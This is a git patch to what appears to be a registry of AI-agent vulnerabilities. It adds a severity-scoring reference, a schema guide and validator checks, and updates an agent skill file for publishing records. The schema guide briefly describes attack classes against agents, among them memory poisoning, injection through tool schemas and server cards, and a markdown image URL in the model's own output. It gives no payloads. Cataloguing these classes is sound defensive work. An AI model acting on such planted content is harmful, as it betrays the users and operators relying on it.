2403.02817)", "url": "https://arxiv.org/abs/2403.02817" }, { "tag": "CWE-284", - "text": "CWE-284: Improper Access Control \u2014 MITRE Common Weakness Enumeration", + "text": "CWE-284: Improper Access Control — MITRE Common Weakness Enumeration", "url": "https://cwe.mitre.org/data/definitions/284.html" }, { "tag": "AVE Registry", - "text": "AVE-2026-00048 \u2014 AVE behavioral vulnerability registry", + "text": "AVE-2026-00048 — AVE behavioral vulnerability registry", "url": "https://github.com/aveproject/ave/blob/main/records/AVE-2026-00048.json" } ], @@ -125,7 +125,7 @@ "data_access": 1, "external_dependencies": 0.5 }, - "aars": 7.5, + "aars": 8.0, "thm": 0.9, "mitigation_factor": 1, "aivss_score": 7.7, @@ -145,4 +145,4 @@ "derivable_into": [ "privilege-escalation-chain" ] -} +} \ No newline at end of file diff --git a/references/aivss-scoring.md b/references/aivss-scoring.md new file mode 100644 index 0000000..2035bb5 --- /dev/null +++ b/references/aivss-scoring.md @@ -0,0 +1,106 @@ +# AIVSS scoring reference + +The formula: `aivss_score = round(((cvss_base + aars) / 2) * thm * mitigation_factor, 1)` + +Where `aars` is the sum of ten AARF (Agentic AI Risk Factor) values, each +scored 0, 0.5, or 1: + +- `autonomy`: does this fire without further attacker interaction once + triggered +- `tool_use`: does it require the agent's own tool-calling capability +- `multi_agent`: does it require or specifically involve more than one + agent +- `non_determinism`: does exploitation reliability vary run to run +- `self_modification`: does the component modify its own behavior or the + agent's runtime +- `dynamic_identity`: does it involve impersonation, identity claims, or + trust-anchor confusion +- `persistent_memory`: does the effect persist beyond the current session +- `natural_language_input`: is the exploit mechanism itself natural + language, versus a structural/syntactic mechanism that merely + originates from an NL-driven call +- `data_access`: does exploitation grant or require broad data access +- `external_dependencies`: does severity depend on which specific SDK, + library, or third-party service is in use + +`thm` (technique has model): 1 if the mechanism is real and demonstrated +(a disclosed CVE, published research, a working exploit description), 1 +means no discount; lower values exist for less-verified mechanisms but +every record in this corpus so far has scored 1, since the evidentiary +bar in Step 3 of the main workflow already requires real sourcing. + +`mitigation_factor`: 1 if no broadly effective, ecosystem-wide mitigation +exists yet (don't discount just because a fix is theoretically possible); +0.83 if a simple, well-known, standard mitigation exists and is +reasonably expected to be applied (pinning a dependency, re-enabling TLS +verification). Never invent a value outside this observed 1/0.83 range +without a clearly stated reason, since every record so far has used one +of these two. + +## Severity bands + +- CRITICAL: 9.0 to 10.0 +- HIGH: 7.0 to 8.9 +- MEDIUM: 4.0 to 6.9 +- LOW: below 4.0 + +## The counterintuitive part, worth internalizing before scoring anything + +A mechanism that sounds severe in plain English can still land MEDIUM, +correctly, if it's narrow and single-vector. AARF's ten factors reward +*breadth* of amplification, not just raw impact. `cvss_base` alone +carries the raw severity of the underlying impact; a near-maximum +`cvss_base` (9.0+) on a narrow, single-mechanism class (no multi-agent +involvement, no persistence, no self-modification) will still average +down to MEDIUM once combined with a modest `aars`. This already happened +correctly for the zero-click auto-run record (`cvss_base` 9.0, landed at +5.2 MEDIUM) and the STDIO shell injection record landing HIGH rather than +CRITICAL despite being RCE (`cvss_base` 9.8, `aars` only 4.5). Do not +inflate AARF factors to force a class into a "more severe-sounding" band; +report the honest computed result and explain why in the record's own +`aivss.notes` field, the same way every record in this corpus already +does. + +## Worked examples + +**STDIO transport shell injection** (HIGH, 7.2): `cvss_base` 9.8 (near-max, +this is RCE), `aarf` sums to 4.5 (autonomy 1, tool_use 1, natural_language_input +0.5, data_access 1, external_dependencies 1, everything else 0), `thm` 1, +`mitigation_factor` 1 (patches exist but ecosystem-wide exposure wasn't +resolved at time of writing). `((9.8+4.5)/2)*1*1 = 7.15` rounds to 7.2. + +**TLS verification disabled** (MEDIUM, 4.1): `cvss_base` 7.5, `aarf` sums +to 2.5 (autonomy 0.5, tool_use 0.5, data_access 1, external_dependencies +0.5), `thm` 1, `mitigation_factor` 0.83 (a simple, standard fix exists). +`((7.5+2.5)/2)*1*0.83 = 4.15` rounds to 4.1. + +**A2A agent card poisoning** (HIGH, 7.1): `cvss_base` 8.7, `aarf` sums to +5.5 (autonomy 1, tool_use 0.5, multi_agent 1 at genuine maximum since +this is definitionally a two-agent mechanism, non_determinism 0.5, +dynamic_identity 0.5, natural_language_input 1, data_access 0.5, +external_dependencies 0.5), `thm` 1, `mitigation_factor` 1. `((8.7+5.5)/2)*1*1 += 7.1`. + +**Zero-click IDE auto-run** (MEDIUM, 5.2, despite sounding severe): +`cvss_base` 9.0 (near-max, zero-click RCE-adjacent), `aarf` sums to only +3.5 (autonomy 1, tool_use 0.5, persistent_memory 0.5, data_access 1, +external_dependencies 0.5, no multi-agent, no self-modification), `thm` +1, `mitigation_factor` 0.83 (disabling auto-run is a known, standard +fix). `((9.0+3.5)/2)*1*0.83 = 5.1875` rounds to 5.2. This is the record +worth re-reading if a future score feels wrong, it's the clearest example +of a severe-sounding mechanism correctly landing MEDIUM. + +**Unpinned dependency substitution** (MEDIUM, 4.4): `cvss_base` 7.0, +`aarf` sums to 3.5 (autonomy 0.5, tool_use 0.5, non_determinism 0.5, +persistent_memory 0.5, data_access 0.5, external_dependencies 1 at +maximum since this class is definitionally about dependency behavior), +`thm` 1, `mitigation_factor` 0.83. `((7.0+3.5)/2)*1*0.83 = 4.3575` rounds +to 4.4. + +## Always independently re-verify + +Compute the score by hand or by reasoning, then run the actual arithmetic +in `scripts/verify_and_publish.py` before treating it as final. This +reference and the worked examples are for building the right intuition +while drafting, not a substitute for the script actually re-running the +sum and the formula against the record as written. \ No newline at end of file diff --git a/references/schema-fields.md b/references/schema-fields.md new file mode 100644 index 0000000..e78a449 --- /dev/null +++ b/references/schema-fields.md @@ -0,0 +1,105 @@ +# Schema fields reference + +## `entry_class`, confirmed live against the corpus, not assumed + +This list was pulled directly from the live `dist/ave-records-latest.json` +during this workflow's own development, not reconstructed from memory. +Re-run the query below periodically, since new records may introduce +values not listed here yet: + +```bash +curl -s https://raw.githubusercontent.com/aveproject/ave/main/dist/ave-records-latest.json | python3 -c " +import json, sys +records = json.load(sys.stdin) +classes = set() +for r in records: + ec = r.get('provenance_vector', {}).get('entry_class') + if ec: classes.add(ec) +print(sorted(classes)) +" +``` + +Confirmed values and what each actually means, with a real example +record for each: + +- **`content`**: instruction text embedded in a skill's own body. + Example: `AVE-2026-00048`, sub-agent delegation instructions written + directly into skill instruction text. +- **`memory`**: an agent's persistent memory store. Example: + `AVE-2026-00019`, planted false beliefs or instructions written into + memory, executed in a future session. +- **`model_generated`**: content the agent itself produces, not something + it reads. Example: `AVE-2026-00056`, a markdown image URL the agent's + own generated response embeds. +- **`registry_metadata`**: a declarative configuration or registry entry, + not instruction text. Example: `AVE-2026-00061` through `00064` + (TLS verification, dependency pinning, approval bypass, auto-run + configuration), all static config states, not content an agent reads + and interprets as an instruction. +- **`retrieved_document`**: content pulled in via RAG or similar retrieval, + distinct from a skill file's own body. +- **`runtime`**: something happening at execution time, not at a fixed + location in a file. Example: `AVE-2026-00050`, tool registration + happening during session initialization. +- **`server_card_document`**: a trusted capability-declaration document + read before interaction begins, regardless of which protocol produces + it. Example: `AVE-2026-00041` (MCP server-card injection) and + `AVE-2026-00065` (A2A agent card poisoning), same entry_class, + genuinely different protocols and payload surfaces, see the note in + `00065` for the reasoning behind reusing rather than forking this + value. +- **`skill_file`**: the skill file itself as a static artifact, distinct + from `content` (the instruction text within it). Example: + `AVE-2026-00024`, a file whose actual bytes don't match its declared + extension. +- **`tool_response`**: a tool call's return value, not the request. + Example: `AVE-2026-00018`, tool result manipulation. +- **`tool_schema`**: an MCP tool's own description or parameter schema + field. Example: `AVE-2026-00002`, `AVE-2026-00059` (ShareLock). +- **`transport`**: the protocol/transport layer itself, not content + carried over it. Example: `AVE-2026-00049` (HTTP header injection), + `AVE-2026-00060` (STDIO shell injection), genuinely different + mechanisms sharing this value the same way `server_card_document` is + shared, confirmed by direct comparison before assuming overlap. +- **`user_input`**: content the user directly supplies, not something the + agent fetches or reads from a component. + +**When deciding whether a new candidate needs a new `entry_class` value or +can reuse an existing one**: ask whether the *role* the content plays is +the same as an existing value, even if the protocol or format differs. +`server_card_document` covers "trusted capability metadata read before +interaction" across two different protocols already. Reuse before +forking, and state the reasoning in the record's own `aivss.notes` field +either way, the same way `00065` did. + +## `escalation`, the values seen so far + +- `data_to_instruction`: passive content gets treated as an active + directive. The most common value in the corpus. +- `instruction_to_capability`: an instruction is followed and grants or + exercises a capability (a tool call, a permission grant). +- `capability_to_identity`: exercising a capability results in an + identity or trust claim being accepted (impersonation, spoofing). + +Not every record needs this field; omit rather than force a fit if none +of these describes the actual mechanism. + +## Required fields, minimum viable record + +`ave_id`, `schema_version`, `status`, `component_type`, `title`, +`attack_class`, `severity`, `description`, `aivss_score`, +`behavioral_fingerprint`, `provenance_vector` (at least `entry_class`), +`mitigation`, `detection_methodology`, `indicators_of_compromise`, +`remediation`, `researcher`, `published`, `references` (at least one, with +a real, working URL), `aivss` (the full scoring object, not just the +top-level `aivss_score` summary). + +## `status` values + +Currently only `active` is implemented in the schema. `deprecated`, +`merged`, and `rejected` are policy (see +`docs/specs/scaling-and-governance.md` Section 3) but not yet schema +fields, don't use them on a record until the schema change implementing +them has actually shipped, using them prematurely would produce a record +that fails validation or silently means nothing to any tooling reading +it. \ No newline at end of file diff --git a/scripts/validate_records.py b/scripts/validate_records.py index b200bc2..a760cbf 100644 --- a/scripts/validate_records.py +++ b/scripts/validate_records.py @@ -1,14 +1,23 @@ # What: validates every AVE record against the current schema plus the Section 8 # invariants from the v1.1.0 migration (no stale field names, no leaked -# enforcement config, no dual-empty behavioral_vector/example_patterns) +# enforcement config, no dual-empty behavioral_vector/example_patterns), +# plus AIVSS score arithmetic and vendor-neutral language, added after a +# hand-drafted batch of records caught real instances of exactly these +# problems that nothing here checked # Why: a malformed or drifted record breaks every downstream scanner that loads it, # and a free-text value in `mitigation` would let vendor-specific config -# leak back into a standard that is supposed to stay vendor-neutral +# leak back into a standard that is supposed to stay vendor-neutral. +# A stated aivss_score that doesn't match the record's own aarf/cvss_base/ +# thm/mitigation_factor is silently wrong severity data shipped to every +# consumer of the corpus. A stray vendor product name is a neutrality +# violation this project enforces everywhere else; records shouldn't be +# the one place it's unchecked. # How: jsonschema.Draft202012Validator against schema/ave-record-1.1.0.schema.json # (handles the draft-vs-active conditional required set natively), plus a # handful of checks the schema's additionalProperties:false already implies # but which deserve a readable, named failure message of their own import json +import re import sys from pathlib import Path @@ -33,6 +42,13 @@ }, } +VENDOR_BOILERPLATE_PATTERNS = [ + r"bawbel-scanner", + r"bawbel-gate", + r"bawbel\s+scan\b", + r"piranha", +] + def check_schema(record: dict, validator: jsonschema.Draft202012Validator) -> list[str]: return [f"schema: {e.message} (at {'/'.join(str(p) for p in e.path) or ''})" @@ -74,6 +90,49 @@ def check_mitigation_enums_only(record: dict) -> list[str]: return errors +def check_aivss_arithmetic(record: dict) -> list[str]: + """Recomputes aars and aivss_score from the record's own aarf, cvss_base, + thm, and mitigation_factor fields, and confirms both the nested + aivss.aivss_score and the top-level aivss_score field agree with it. + A record that drifts here is shipping a severity number nobody + actually derived from its own stated inputs.""" + aivss = record.get("aivss") + if not isinstance(aivss, dict): + return [] + aarf = aivss.get("aarf") + if not isinstance(aarf, dict) or not aarf: + return [] + + errors = [] + aars = round(sum(aarf.values()), 4) + stated_aars = aivss.get("aars") + if aars != stated_aars: + errors.append(f"aivss.aars mismatch: computed {aars}, record states {stated_aars}") + + required = ("cvss_base", "thm", "mitigation_factor") + missing = [f for f in required if f not in aivss] + if missing: + errors.append(f"aivss missing scoring field(s): {', '.join(missing)}") + return errors + + computed_score = round(((aivss["cvss_base"] + aars) / 2) * aivss["thm"] * aivss["mitigation_factor"], 1) + stated_score = aivss.get("aivss_score") + if computed_score != stated_score: + errors.append(f"aivss.aivss_score mismatch: computed {computed_score}, record states {stated_score}") + + top_level_score = record.get("aivss_score") + if top_level_score != stated_score: + errors.append(f"top-level aivss_score ({top_level_score}) does not match aivss.aivss_score ({stated_score})") + + return errors + + +def check_no_vendor_boilerplate(raw_text: str) -> list[str]: + lower = raw_text.lower() + return [f"vendor-specific reference found: '{pattern}'" + for pattern in VENDOR_BOILERPLATE_PATTERNS if re.search(pattern, lower)] + + def main() -> int: schema = json.loads(SCHEMA_PATH.read_text()) jsonschema.Draft202012Validator.check_schema(schema) @@ -86,7 +145,8 @@ def main() -> int: total_errors = 0 for path in paths: - record = json.loads(path.read_text()) + raw_text = path.read_text() + record = json.loads(raw_text) rid = record.get("ave_id", path.name) errors = ( check_schema(record, validator) @@ -94,6 +154,8 @@ def main() -> int: + check_no_nested_owasp_mcp_mapping(record) + check_behavioral_vector_or_example_patterns(record) + check_mitigation_enums_only(record) + + check_aivss_arithmetic(record) + + check_no_vendor_boilerplate(raw_text) ) for e in errors: print(f"{rid}: {e}") @@ -107,4 +169,4 @@ def main() -> int: if __name__ == "__main__": - raise SystemExit(main()) + raise SystemExit(main()) \ No newline at end of file From a699f5ebb98cdae59bbb78ec9345134a7792cb45 Mon Sep 17 00:00:00 2001 From: chaksaray Date: Wed, 29 Jul 2026 06:00:43 +0700 Subject: [PATCH 12/12] fix add ave record skill --- .claude/skills/add-ave-record/SKILL.md | 55 +++++++++++++++++++++++--- 1 file changed, 50 insertions(+), 5 deletions(-) diff --git a/.claude/skills/add-ave-record/SKILL.md b/.claude/skills/add-ave-record/SKILL.md index a034546..4c7582b 100644 --- a/.claude/skills/add-ave-record/SKILL.md +++ b/.claude/skills/add-ave-record/SKILL.md @@ -53,10 +53,55 @@ against a different set of factors than what got written down. ### 7. Publish A record passing validation is not yet a published one. Update: -- dist/ave-records-latest.json — add or replace this record's entry, + +- **dist/ave-records-latest.json**: add or replace this record's entry, keeping the array sorted by ave_id. -- CHANGELOG.md — one line under Unreleased/Added: the ave_id, title, +- **CHANGELOG.md**: one line under Unreleased/Added: the ave_id, title, severity, and aivss_score. +- **README.md, three separate things, don't assume any of them share a + format**: + + 1. **Prose record count.** Find it first: + ```bash + grep -n "[0-9]\+ records\|[0-9]\+ behavioral class" README.md + ``` + Update to the real count from `ls records/AVE-*.json | wc -l`, not by + incrementing the old number, more than one record can land in a + single batch. + + 2. **A record-count badge**, if one exists. Badges are usually + shields.io-style, with the count embedded as a URL path segment, not + free prose, so the prose grep above won't reliably catch it. Find it + separately: + ```bash + grep -n "shields.io\|badge.*record\|records.*badge" README.md + ``` + If found, the count sits inside the badge URL itself (something like + `.../badge/records-59-blue`), update that specific segment to the + real count, don't touch the rest of the badge's color, label text, or + link target. + + 3. **A list or table enumerating individual records**, if one exists. + This is not a number to update, it needs a new row appended for + whatever record just landed, matching the exact column structure and + formatting of the existing rows exactly, so it doesn't stand out as + the one inconsistently-formatted entry. Find it first: + ```bash + grep -n "AVE-2026-" README.md + ``` + If this is a comprehensive, actively-maintained list, append the new + record's row after whatever the file's own existing ordering + convention is (chronological, by ID, by severity, confirm which + before assuming). If it's a curated set of examples rather than a + complete enumeration (a handful of illustrative records, not all of + them), don't add to it automatically, that's an editorial decision + about which records are worth featuring, not a mechanical update; ask + before changing this one. + + For all three: if the grep for any of them finds nothing, that specific + piece doesn't exist in README.md, skip it, don't invent one. If any grep + finds something whose format doesn't match what's described above, stop + and ask rather than force an edit that might not fit. Do not bump schema_version or create a new versioned dist snapshot (dist/ave-records-vX.Y.Z.json) as part of this step. That's a separate, @@ -73,7 +118,7 @@ LOW → < 4.0 If severity and aivss_score disagree, the record fails validation. A mechanism that reads as severe in plain English can still land MEDIUM, -correctly, if it's narrow and single-vector — AARF's ten factors reward +correctly, if it's narrow and single-vector, AARF's ten factors reward breadth of amplification, not just raw impact. cvss_base alone carries the severity of the underlying impact. Don't inflate AARF factors to force a record into a more severe-sounding band; if the honestly computed @@ -91,11 +136,11 @@ The scanner adjusts from this baseline via the FP pipeline. ## Reference files -- references/aivss-scoring.md — the AARF formula, how aars is computed +- references/aivss-scoring.md: the AARF formula, how aars is computed from the ten factors, and worked examples spanning MEDIUM through HIGH, including the specific trap of inflating factors to chase a severity band. -- references/schema-fields.md — the provenance_vector.entry_class enum +- references/schema-fields.md: the provenance_vector.entry_class enum (confirmed live against the corpus) and escalation values, distinct from grill-with-docs Q7's detection_layer, a coarser, separate field; don't conflate the two when writing provenance_vector. \ No newline at end of file